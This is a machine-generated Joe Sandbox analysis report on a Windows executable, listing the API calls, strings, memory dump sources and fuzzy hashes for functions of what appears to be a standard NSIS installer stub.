Opcode Fuzzy Hash: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E

Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86

Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
GetProcAddress.KERNEL32(00000000), ref: 00406327

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC

Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
FindClose.KERNEL32(00000000), ref: 004062EC

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNEL32(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

Rename failed: %s, xrefs: 0040194B
Rename on reboot: %s, xrefs: 00401943
Aborting: "%s", xrefs: 0040161D
detailprint: %s, xrefs: 00401679
Rename: %s, xrefs: 004018F8
CreateDirectory: "%s" created, xrefs: 00401849
SetFileAttributes: "%s":%08X, xrefs: 0040177B
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
BringToFront, xrefs: 004016BD
Sleep(%d), xrefs: 0040169D
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
Call: %d, xrefs: 0040165A
Jump: %d, xrefs: 00401602
CreateDirectory: "%s" (%d), xrefs: 004017BF
SetFileAttributes failed., xrefs: 004017A1

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: 2a82ad59b9370b3cc3d5141fac41001cfacad1d5dd7d37275e8bf63d0114621f
Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
Opcode Fuzzy Hash: 2a82ad59b9370b3cc3d5141fac41001cfacad1d5dd7d37275e8bf63d0114621f
Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE

Function 0040592C Relevance: 47.5, APIs: 15, Strings: 12, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

lstrcatW.KERNEL32(004D30C0,00447240), ref: 004059AE
lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe"), ref: 00405A30
lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
RegisterClassW.USER32(0046AD60), ref: 00405B0A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B

Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30

ShowWindow.USER32(00000005,00000000), ref: 00405B91
LoadLibraryW.KERNEL32(RichEd20), ref: 00405BA2
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
RegisterClassW.USER32(0046AD60), ref: 00405BD3
DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2

Strings

.DEFAULT\Control Panel\International, xrefs: 00405999
"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe", xrefs: 00405938
B%F, xrefs: 00405A1F
@%F, xrefs: 004059F6
RichEd32, xrefs: 00405BA8
Control Panel\Desktop\ResourceLocale, xrefs: 00405972
RichEdit, xrefs: 00405BC4
RichEd20, xrefs: 00405B9D
_Nb, xrefs: 00405AD1
.exe, xrefs: 00405A3D
RichEdit20A, xrefs: 00405BB6, 00405BBB
@rD, xrefs: 00405965

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe"$.DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-78988019
Opcode ID: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
Opcode Fuzzy Hash: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

lstrcatW.KERNEL32(00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,QuiBookstore,QuiBookstore,00000000,00000000,QuiBookstore,004CB0B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Strings

File: wrote %d to "%s", xrefs: 00401BD0
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
QuiBookstore, xrefs: 00401A53, 00401A5C, 00401A69, 00401A7B, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: error, user abort, xrefs: 00401B53
File: error, user cancel, xrefs: 00401B93
File: error creating "%s", xrefs: 00401AF0
File: error, user retry, xrefs: 00401B40

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$QuiBookstore
API String ID: 4286501637-2375099690
Opcode ID: 2ab80255bde4e5d1782dd9130ab292fdec73e4a72f9567b243a786bab725b233
Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
Opcode Fuzzy Hash: 2ab80255bde4e5d1782dd9130ab292fdec73e4a72f9567b243a786bab725b233
Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE

Function 00403587 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403598
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe,C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600

Strings

Inst, xrefs: 0040366C
"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe", xrefs: 00403591
soft, xrefs: 00403675
C:\Users\user\Desktop, xrefs: 004035E2, 004035E7, 004035ED
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5
Error launching installer, xrefs: 004035D7
C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe, xrefs: 004035A3, 004035A8, 004035C1, 004035E1
Null, xrefs: 0040367E

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe"$C:\Users\user\Desktop$C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-1183765325
Opcode ID: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
Opcode Fuzzy Hash: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033E7
GetTickCount.KERNEL32 ref: 00403464
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
wsprintfW.USER32 ref: 004034A4
WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A

Strings

P1B, xrefs: 004033A9
X1C, xrefs: 004033ED
... %d%%, xrefs: 0040349E
X1C, xrefs: 0040343C

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: ... %d%%$P1B$X1C$X1C
API String ID: 651206458-1535804072
Opcode ID: 71a0af70068d15f1e2712f5ef5f0e4f02d53f291cdcd50b6d0822de58acd1dbf
Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
Opcode Fuzzy Hash: 71a0af70068d15f1e2712f5ef5f0e4f02d53f291cdcd50b6d0822de58acd1dbf
Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GlobalFree.KERNELBASE(0066D3E8), ref: 00402387

Strings

Exch: stack < %d elements, xrefs: 00401ED8
QuiBookstore, xrefs: 00401EFB, 00401F00, 00401F1A
Pop: stack empty, xrefs: 00401F2C

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: Exch: stack < %d elements$Pop: stack empty$QuiBookstore
API String ID: 1459762280-3917574419
Opcode ID: 4c8c09c83ece9067cd01ebc7f99896dd0048823aea7dafec600988da42eaf391
Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
Opcode Fuzzy Hash: 4c8c09c83ece9067cd01ebc7f99896dd0048823aea7dafec600988da42eaf391
Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

GlobalFree.KERNELBASE(0066D3E8), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
